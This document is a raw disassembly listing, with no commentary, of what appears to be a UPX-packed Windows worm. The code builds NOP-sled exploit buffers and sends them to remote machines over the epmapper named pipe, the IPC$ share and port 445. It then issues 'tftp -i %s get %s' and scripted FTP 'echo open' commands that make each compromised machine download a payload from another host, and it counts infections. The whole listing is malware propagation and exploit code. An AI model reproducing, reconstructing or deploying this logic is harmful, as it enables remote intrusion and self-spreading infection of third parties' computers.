eax, [ebp+var_1FD4] push 0FFFFFF90h ; Val push eax ; Dst call _memset lea eax, [ebp+Src] push edi ; Size push eax ; Src lea eax, [ebp+esi+var_1FD4] push eax ; Dst call _memcpy add esp, 24h lea esi, [esi+edi+30h] jmp short loc_402C00 ; --------------------------------------------------------------------------- loc_402C50: ; CODE XREF: sub_402B7B+90j cmp [ebp+arg_C4], 0 jz short loc_402C6B cmp [ebp+arg_C0], 3 jz short loc_402C74 cmp [ebp+arg_C0], 0 jmp short loc_402C72 ; --------------------------------------------------------------------------- loc_402C6B: ; CODE XREF: sub_402B7B+DCj cmp [ebp+arg_C0], 3 loc_402C72: ; CODE XREF: sub_402B7B+EEj jnz short loc_402C7D loc_402C74: ; CODE XREF: sub_402B7B+E5j push 4 push offset dword_426B60 jmp short loc_402C84 ; --------------------------------------------------------------------------- loc_402C7D: ; CODE XREF: sub_402B7B:loc_402C72j push 4 ; Size push offset dword_426B5C ; Src loc_402C84: ; CODE XREF: sub_402B7B+100j lea eax, [ebp+var_1FE0] push eax ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+var_1004] push 360h ; Size push offset dword_426694 ; Src push eax ; Dst call _memcpy push 10h ; Size lea eax, [ebp+var_CA4] push offset dword_4269F8 ; Src push eax ; Dst call _memcpy lea eax, [ebp+Dst] push esi ; Size push eax ; Src lea eax, [ebp+var_C94] push eax ; Dst call _memcpy lea edi, [esi+370h] push 3Ch ; Size push offset off_426A0C ; Src lea eax, [ebp+edi+var_1004] push eax ; Dst call _memcpy add edi, 3Ch push 30h ; Size push offset dword_426A4C ; Src lea eax, [ebp+edi+var_1004] push eax ; Dst call _memcpy mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi ; Size mov [ebp+var_E78], eax call _malloc add esp, 40h mov ebx, eax push esi ; Size push 0 ; Val push ebx ; Dst call _memset lea eax, [ebp+var_1004] push edi ; Size push eax ; Src push ebx ; Dst call _memcpy mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_402DCA: ; CODE XREF: sub_402B7B+3Ej pop edi pop esi leave retn sub_402B7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402DCE proc near ; CODE XREF: sub_407758+1E6p ; DATA XREF: UPX0:off_429CB4o var_1338 = byte ptr -1338h var_338 = byte ptr -338h Dest = byte ptr -138h var_34 = byte ptr -34h Dst = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch Memory = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp mov eax, 1338h call __alloca_probe cmp [ebp+arg_A0], 1BDh push ebx push esi push edi jnz loc_402F3C lea eax, [ebp+var_34] push eax lea eax, [ebp+arg_4] push eax call sub_4029E0 pop ecx test eax, eax pop ecx jz loc_40304C lea eax, [ebp+arg_4] push eax lea eax, [ebp+Dest] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax ; Dest call _sprintf add esp, 0Ch xor ebx, ebx lea eax, [ebp+Dest] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call ds:dword_423080 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_402E53 loc_402E44: ; CODE XREF: sub_402DCE+126j lea eax, [ebp+arg_4] push eax call sub_402AC3 pop ecx jmp loc_40304C ; --------------------------------------------------------------------------- loc_402E53: ; CODE XREF: sub_402DCE+74j lea eax, [ebp+arg_4] push 2 push eax call sub_40D4BC pop ecx lea esi, [ebp+arg_0] pop ecx push 1 push eax lea eax, [ebp+var_10] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B7B add esp, 0C8h cmp eax, ebx mov [ebp+Memory], eax jz short loc_402EEB mov edi, 186A0h push edi ; Size call _malloc mov esi, eax push edi ; Size push ebx ; Val push esi ; Dst call _memset add esp, 10h lea eax, [ebp+var_C] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_426648 push [ebp+var_4] call ds:dword_42307C ; TransactNamedPipe cmp byte ptr [esi+2], 0Ch jnz short loc_402EDB lea eax, [ebp+var_14] push ebx push eax push [ebp+var_10] push [ebp+Memory] push [ebp+var_4] call ds:dword_423078 test eax, eax jnz short loc_402EF9 loc_402EDB: ; CODE XREF: sub_402DCE+F3j push esi ; Memory call _free push [ebp+Memory] ; Memory call _free pop ecx pop ecx loc_402EEB: ; CODE XREF: sub_402DCE+B9j push [ebp+var_4] call ds:dword_423074 jmp loc_402E44 ; --------------------------------------------------------------------------- loc_402EF9: ; CODE XREF: sub_402DCE+10Bj lea eax, [ebp+var_C] push ebx push eax push edi push esi push [ebp+var_4] call ds:dword_423070 push [ebp+Memory] ; Memory mov edi, eax call _free push esi ; Memory call _free pop ecx pop ecx push [ebp+var_4] call ds:dword_423074 lea eax, [ebp+arg_4] push eax call sub_402AC3 cmp edi, 1 pop ecx jnz loc_40305D jmp loc_40304C ; --------------------------------------------------------------------------- loc_402F3C: ; CODE XREF: sub_402DCE+1Aj lea eax, [ebp+arg_4] push 1 push eax call sub_40D4BC mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_40304C xor ebx, ebx push ebx push 1 push 2 call ds:dword_43C698 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_40304C push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_A0] call ds:dword_43C618 ; htons mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call ds:dword_43C658 ; inet_addr mov [ebp+var_20], eax push ebx lea eax, [ebp+var_C] push esi push eax lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B7B mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp+Memory], esi jnz short loc_402FCE push [ebp+var_4] jmp short loc_403046 ; --------------------------------------------------------------------------- loc_402FCE: ; CODE XREF: sub_402DCE+1F9j mov edi, [ebp+var_4] lea eax, [ebp+Dst] push 10h push eax push edi call ds:dword_43C5C0 ; connect cmp eax, 0FFFFFFFFh jnz short loc_402FE6 loc_402FE3: ; CODE XREF: sub_402DCE+22Aj push esi jmp short loc_40303F ; --------------------------------------------------------------------------- loc_402FE6: ; CODE XREF: sub_402DCE+213j push ebx push 48h push offset dword_426648 push edi call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jz short loc_402FE3 mov esi, 1000h push ebx lea eax, [ebp+var_1338] push esi push eax push edi call ds:dword_43C630 ; recv push ebx push [ebp+var_C] push [ebp+Memory] push edi call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jnz short loc_403027 push [ebp+Memory] jmp short loc_40303F ; --------------------------------------------------------------------------- loc_403027: ; CODE XREF: sub_402DCE+252j push ebx lea eax, [ebp+var_1338] push esi push eax push edi call ds:dword_43C630 ; recv push [ebp+Memory] ; Memory cmp eax, 0FFFFFFFFh jnz short loc_403050 loc_40303F: ; CODE XREF: sub_402DCE+216j ; sub_402DCE+257j call _free pop ecx push edi loc_403046: ; CODE XREF: sub_402DCE+1FEj call ds:dword_43C6B0 ; closesocket loc_40304C: ; CODE XREF: sub_402DCE+31j ; sub_402DCE+80j ... xor eax, eax jmp short loc_4030BE ; --------------------------------------------------------------------------- loc_403050: ; CODE XREF: sub_402DCE+26Fj call _free pop ecx push edi call ds:dword_43C6B0 ; closesocket loc_40305D: ; CODE XREF: sub_402DCE+163j lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_338] push offset unk_426B78 ; Format push eax ; Dest call _sprintf add esp, 0Ch loc_403075: ; CODE XREF: sub_402DCE+2C7j lea eax, [ebp+var_338] push eax call sub_40C04F test eax, eax pop ecx jnz short loc_403099 push 1388h call ds:dword_423060 ; Sleep inc ebx cmp ebx, 6 jl short loc_403075 jmp short loc_4030BB ; --------------------------------------------------------------------------- loc_403099: ; CODE XREF: sub_402DCE+2B6j lea eax, [ebp+var_338] push eax call sub_40BF6F mov eax, [ebp+arg_A8] pop ecx imul eax, 3Ch inc ds:dword_429CB8[eax] lea eax, dword_429CB8[eax] loc_4030BB: ; CODE XREF: sub_402DCE+2C9j push 1 pop eax loc_4030BE: ; CODE XREF: sub_402DCE+280j pop edi pop esi pop ebx leave retn sub_402DCE endp ; --------------------------------------------------------------------------- jmp $+5 push 0BB80h push 76Ch call sub_41543F pop ecx mov ds:dword_4397C0, eax pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030DF proc near ; CODE XREF: sub_403240+42Ap var_5A0 = byte ptr -5A0h Str = byte ptr -1A0h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+Dst], 2 push eax call ds:dword_43C658 ; inet_addr mov [ebp+var_C], eax mov ax, word ptr ds:dword_4397C0 push eax call ds:dword_43C618 ; htons push esi push 1 push 2 mov [ebp+var_E], ax call ds:dword_43C698 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403219 lea eax, [ebp+Dst] push 10h push eax push ebx call ds:dword_43C5C0 ; connect cmp eax, 0FFFFFFFFh jz loc_403219 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call ds:dword_43C630 ; recv mov esi, offset byte_42E664 push esi push esi push [ebp+arg_0] call sub_40AEDB pop ecx mov edi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+Str] push edi ; Count push eax ; Dest call __snprintf add esp, 18h push esi push esi push ds:dword_4397EC push [ebp+arg_0] call sub_40AEDB pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+Str] push edi ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+Str] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push ebx call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jz short loc_403219 push 1F4h call ds:dword_423060 ; Sleep push esi push offset aS_6 ; "%s\r\n" lea eax, [ebp+Str] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+Str] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push ebx call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jnz short loc_40321D loc_403219: ; CODE XREF: sub_4030DF+51j ; sub_4030DF+67j ... xor al, al jmp short loc_40323B ; --------------------------------------------------------------------------- loc_40321D: ; CODE XREF: sub_4030DF+138j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call ds:dword_43C630 ; recv push ebx call ds:dword_43C6B0 ; closesocket mov al, 1 loc_40323B: ; CODE XREF: sub_4030DF+13Cj pop edi pop esi pop ebx leave retn sub_4030DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403240 proc near ; CODE XREF: UPX0:004037A4p ; UPX0:004037C6p var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h Src = byte ptr -104h var_103 = byte ptr -103h Dst = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h Str = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call __alloca_probe mov eax, ds:dword_427634 push ebx mov [ebp+var_10], eax mov eax, ds:dword_427638 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+Str] push offset aSIpc ; "\\\\%s\\ipc$" push eax ; Dest call _sprintf add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_40327F: ; CODE XREF: sub_403240+4Ej mov cl, [ebp+esi+Str] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_40327F push 60h ; Size lea eax, [ebp+Dst] push offset dword_4270B8 ; Src push eax ; Dst call _memcpy lea eax, [ebp+Str] push eax ; Str call _strlen shl eax, 1 push eax ; Size lea eax, [ebp+Src] push eax ; Src lea eax, [ebp+var_84] push eax ; Dst call _memcpy add esp, 1Ch lea eax, [ebp+Str] push 9 ; Size push (offset aC_2+3) ; Src push eax ; Str call _strlen pop ecx lea eax, [ebp+eax*2+var_85] push eax ; Dst call _memcpy lea eax, [ebp+Str] push eax ; Str call _strlen add al, 1Ah push 1 ; Size shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax ; Src lea eax, [ebp+var_B1] push eax ; Dst call _memcpy lea eax, [ebp+Str] push eax ; Str call _strlen shl al, 1 add al, 9 push 1 ; Size mov [ebp+var_2], al lea eax, [ebp+var_2] push eax ; Src lea eax, [ebp+var_87] push eax ; Dst call _memcpy mov ax, word ptr ds:dword_4397C0 add esp, 2Ch push eax call ds:dword_43C618 ; htons xor eax, 9999h push 2 ; Size mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax ; Src push offset dword_426DB8 ; Dst call _memcpy add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_40343C mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi ; Size push 90h ; Val push eax ; Dst call _memset mov eax, [ebp+arg_C0] push 4 ; Size imul eax, 3Ch lea eax, dword_4274E0[eax] mov [ebp+var_14], eax push eax ; Src lea eax, [ebp+var_14E0] push eax ; Dst call _memcpy mov esi, offset Str ; "ë" push esi ; Str call _strlen push eax ; Size lea eax, [ebp+var_14D0] push esi ; Src push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+var_11AC] push offset dword_427620 ; Src push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+var_11A8] push [ebp+var_14] ; Src push eax ; Dst call _memcpy add esp, 40h push esi ; Str call _strlen push eax ; Size lea eax, [ebp+var_119C] push esi ; Src push eax ; Dst call _memcpy add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_4033F5: ; CODE XREF: sub_403240+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_4033F5 mov esi, 1C52h lea eax, [ebp+var_89B4] push esi ; Size push 31h ; Val push eax ; Dst mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call _memset push esi ; Size lea eax, [ebp+var_68DC] push 31h ; Val push eax ; Dst call _memset add esp, 18h jmp short loc_403493 ; --------------------------------------------------------------------------- loc_40343C: ; CODE XREF: sub_403240+118j push 7D0h ; Size lea eax, [ebp+var_F14] push 90h ; Val push eax ; Dst call _memset mov esi, offset Str ; "ë" push esi ; Str call _strlen push eax ; Size lea eax, [ebp+var_E74] push esi ; Src push eax ; Dst call _memcpy lea eax, [ebp+var_10] push eax ; Str call _strlen push eax ; Size lea eax, [ebp+var_10] push eax ; Src lea eax, [ebp+var_758] push eax ; Dst call _memcpy mov eax, ds:dword_4274E0 add esp, 2Ch mov [ebp+var_768], eax loc_403493: ; CODE XREF: sub_403240+1FAj push 0E29h ; Size lea eax, [ebp+var_2CA8] push 31h ; Val push eax ; Dst call _memset movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+Dst] push eax push edi call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jnz short loc_4034D2 loc_4034CB: ; CODE XREF: sub_403240+2B9j ; sub_403240+2E0j ... xor al, al jmp loc_40367A ; --------------------------------------------------------------------------- loc_4034D2: ; CODE XREF: sub_403240+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call ds:dword_43C630 ; recv push ebx push 68h push offset dword_42711C push edi call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jz short loc_4034CB push ebx lea eax, [ebp+var_744] push esi push eax push edi call ds:dword_43C630 ; recv push ebx push 0A0h push offset dword_427188 push edi call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jz short loc_4034CB push ebx lea eax, [ebp+var_744] push esi push eax push edi call ds:dword_43C630 ; recv cmp [ebp+arg_C0], ebx jz loc_4035E8 push 68h ; Size lea eax, [ebp+var_89B4] push offset dword_427340 ; Src push eax ; Dst call _memcpy lea eax, [ebp+var_4804] push 1B5Ah ; Size push eax ; Src lea eax, [ebp+var_894C] push eax ; Dst call _memcpy push 70h ; Size lea eax, [ebp+var_68DC] push offset dword_4273AC ; Src push eax ; Dst call _memcpy lea eax, [ebp+var_3770] push 0A5Eh ; Size push eax ; Src lea eax, [ebp+var_686C] push eax ; Dst call _memcpy push 84h ; Size lea eax, [ebp+var_5DA8] push offset dword_427420 ; Src push eax ; Dst call _memcpy add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jz loc_4034CB push ebx lea eax, [ebp+var_744] push esi push eax push edi call ds:dword_43C630 ; recv push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_40363E ; --------------------------------------------------------------------------- loc_4035E8: ; CODE XREF: sub_403240+2F8j push 7Ch ; Size lea eax, [ebp+var_2CA8] push offset dword_42722C ; Src push eax ; Dst call _memcpy lea eax, [ebp+var_F14] push 7D0h ; Size push eax ; Src lea eax, [ebp+var_2C2C] push eax ; Dst call _memcpy push 90h ; Size lea eax, [ebp+var_245C] push offset off_4272AC ; Src push eax ; Dst call _memcpy add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_40363E: ; CODE XREF: sub_403240+3A6j push eax push edi call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jz loc_4034CB push 12Ch call ds:dword_423060 ; Sleep sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_4030DF add esp, 0BCh test al, al setnz al loc_40367A: ; CODE XREF: sub_403240+28Dj pop edi pop esi pop ebx leave retn sub_403240 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi push 0BB80h push 76Ch call sub_41543F xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call _memset add esp, 14h lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call ds:dword_43C658 ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-10h], eax call ds:dword_43C618 ; htons push 6 push 1 push 2 mov [ebp-12h], ax call ds:dword_43C698 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403787 lea eax, [ebp-14h] push 10h push eax push ebx call ds:dword_43C5C0 ; connect cmp eax, 0FFFFFFFFh jz loc_403787 push edi push 89h push offset dword_426EA0 push ebx call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jz short loc_403787 mov esi, 640h push edi lea eax, [ebp-654h] push esi push eax push ebx call ds:dword_43C630 ; recv push edi push 0A8h push offset dword_426F2C push ebx call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jz short loc_403787 push edi lea eax, [ebp-654h] push esi push eax push ebx call ds:dword_43C630 ; recv push edi push 0DEh push offset dword_426FD8 push ebx call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jz short loc_403787 push edi lea eax, [ebp-654h] push esi push eax push ebx call ds:dword_43C630 ; recv movsx eax, byte ptr [ebp-610h] sub eax, 30h jz short loc_403791 dec eax jz short loc_40378E loc_403787: ; CODE XREF: UPX0:004036E2j ; UPX0:004036F8j ... xor eax, eax jmp loc_40380E ; --------------------------------------------------------------------------- loc_40378E: ; CODE XREF: UPX0:00403785j push edi jmp short loc_4037B5 ; --------------------------------------------------------------------------- loc_403791: ; CODE XREF: UPX0:00403782j push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_403240 add esp, 0C4h test al, al jnz short loc_4037D5 push 1 loc_4037B5: ; CODE XREF: UPX0:0040378Fj push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_403240 add esp, 0C4h test al, al jz short loc_4037DC loc_4037D5: ; CODE XREF: UPX0:004037B1j mov dword ptr [ebp-4], 1 loc_4037DC: ; CODE XREF: UPX0:004037D3j push ebx call ds:dword_43C6B0 ; closesocket cmp dword ptr [ebp-4], 0 jz short loc_40380B lea eax, [ebp-854h] push eax call sub_40BF6F mov eax, [ebp+0B0h] pop ecx imul eax, 3Ch inc ds:dword_429CB8[eax] lea eax, dword_429CB8[eax] loc_40380B: ; CODE XREF: UPX0:004037E7j push 1 pop eax loc_40380E: ; CODE XREF: UPX0:00403789j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_403813 proc near ; CODE XREF: sub_403A87+Ep ; sub_403A87+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_403813 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40381D(void *Src,size_t Size) sub_40381D proc near ; CODE XREF: sub_403A87+11Ep Src = dword ptr 4 Size = dword ptr 8 push ebx mov ebx, [esp+4+Size] push esi push edi mov esi, ecx push ebx ; Size call _malloc mov edi, eax pop ecx test edi, edi jz short loc_40384F push ebx ; Size push 0 ; Val push edi ; Dst call _memset push ebx ; Size push [esp+1Ch+Src] ; Src push edi ; Dst call _memcpy add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40384F: ; CODE XREF: sub_40381D+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40381D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_403857(void *Src,size_t Size,int,int) sub_403857 proc near ; CODE XREF: sub_403951+18p ; sub_4039CB+16p ... Src = dword ptr 8 Size = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+Size] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi ; Size call _malloc mov esi, eax pop ecx test esi, esi jz short loc_4038A3 push edi ; Size push 0 ; Val push esi ; Dst call _memset push [ebp+Size] ; Size push [ebp+Src] ; Src push esi ; Dst call _memcpy push [ebp+arg_C] ; Size mov eax, [ebp+Size] add eax, esi push [ebp+arg_8] ; Src push eax ; Dst call _memcpy add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_4038A3: ; CODE XREF: sub_403857+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_403857 endp ; =============== S U B R O U T I N E ======================================= sub_4038AC proc near ; CODE XREF: sub_403951+5Ep ; sub_403951+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4038BC push eax ; Memory call _free pop ecx loc_4038BC: ; CODE XREF: sub_4038AC+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_4038AC endp ; =============== S U B R O U T I N E ======================================= sub_4038C5 proc near ; CODE XREF: sub_403951+20p ; sub_403A2C+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_4038F2 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax ; Size call _malloc mov edi, eax pop ecx test edi, edi jnz short loc_4038F6 loc_4038F2: ; CODE XREF: sub_4038C5+Dj xor al, al jmp short loc_40394D ; --------------------------------------------------------------------------- loc_4038F6: ; CODE XREF: sub_4038C5+2Bj mov eax, ebx add eax, [esi+4] push eax ; Size push 0 ; Val push edi ; Dst call _memset add esp, 0Ch cmp ebx, 1 jnz short loc_40391B mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_403935 ; --------------------------------------------------------------------------- loc_40391B: ; CODE XREF: sub_4038C5+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] ; Size lea eax, [edi+3] push dword ptr [esi] ; Src loc_403935: ; CODE XREF: sub_4038C5+54j push eax ; Dst call _memcpy add esp, 0Ch push dword ptr [esi] ; Memory call _free add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40394D: ; CODE XREF: sub_4038C5+2Fj pop edi pop esi pop ebx retn sub_4038C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403951 proc near ; CODE XREF: sub_403A87+89p ; sub_403A87+E3p ... Src = dword ptr -8 Size = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+Src] push dword ptr [esi+4] ; int push dword ptr [esi] ; int push 1 ; Size push offset byte_4397D4 ; Src call sub_403857 lea ecx, [ebp+Src] call sub_4038C5 mov eax, [ebp+Size] inc eax push eax ; Size call _malloc mov edi, eax pop ecx test edi, edi jnz short loc_40398B xor al, al jmp short loc_4039C7 ; --------------------------------------------------------------------------- loc_40398B: ; CODE XREF: sub_403951+34j mov eax, [ebp+Size] inc eax push eax ; Size push 0 ; Val push edi ; Dst call _memset mov byte ptr [edi], 3 push [ebp+Size] ; Size lea eax, [edi+1] push [ebp+Src] ; Src push eax ; Dst call _memcpy add esp, 18h mov ecx, esi call sub_4038AC mov eax, [ebp+Size] lea ecx, [ebp+Src] inc eax mov [esi], edi mov [esi+4], eax call sub_4038AC mov al, 1 loc_4039C7: ; CODE XREF: sub_403951+38j pop edi pop esi leave retn sub_403951 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4039CB proc near ; CODE XREF: sub_4039FF+14p ; sub_403A1C+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] ; int lea ecx, [ebp+var_8] push [ebp+arg_0] ; int push dword ptr [esi+4] ; Size push dword ptr [esi] ; Src call sub_403857 mov ecx, esi call sub_4038AC mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_4039CB endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_4039FF(char *Str) sub_4039FF proc near ; CODE XREF: sub_403A87+F0p ; sub_403A87+15Bp ... Str = dword ptr 4 push esi mov esi, ecx push [esp+4+Str] ; Str call _strlen pop ecx push eax mov ecx, esi push [esp+8+Str] call sub_4039CB pop esi retn 4 sub_4039FF endp ; =============== S U B R O U T I N E ======================================= sub_403A1C proc near ; CODE XREF: sub_403A68+Bp ; sub_403A87+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4039CB retn 8 sub_403A1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A2C proc near ; CODE XREF: sub_403A68+16p ; sub_403A87+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_4038C5 test al, al jz short loc_403A65 push dword ptr [esi+4] ; int lea ecx, [ebp+var_8] push dword ptr [esi] ; int push 1 ; Size push (offset loc_4279A7+1) ; Src call sub_403857 mov ecx, esi call sub_4038AC mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_403A65: ; CODE XREF: sub_403A2C+Fj pop esi leave retn sub_403A2C endp ; =============== S U B R O U T I N E ======================================= sub_403A68 proc near ; CODE XREF: sub_403A87+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_403A1C test al, al jz short loc_403A83 mov ecx, esi call sub_403A2C loc_403A83: 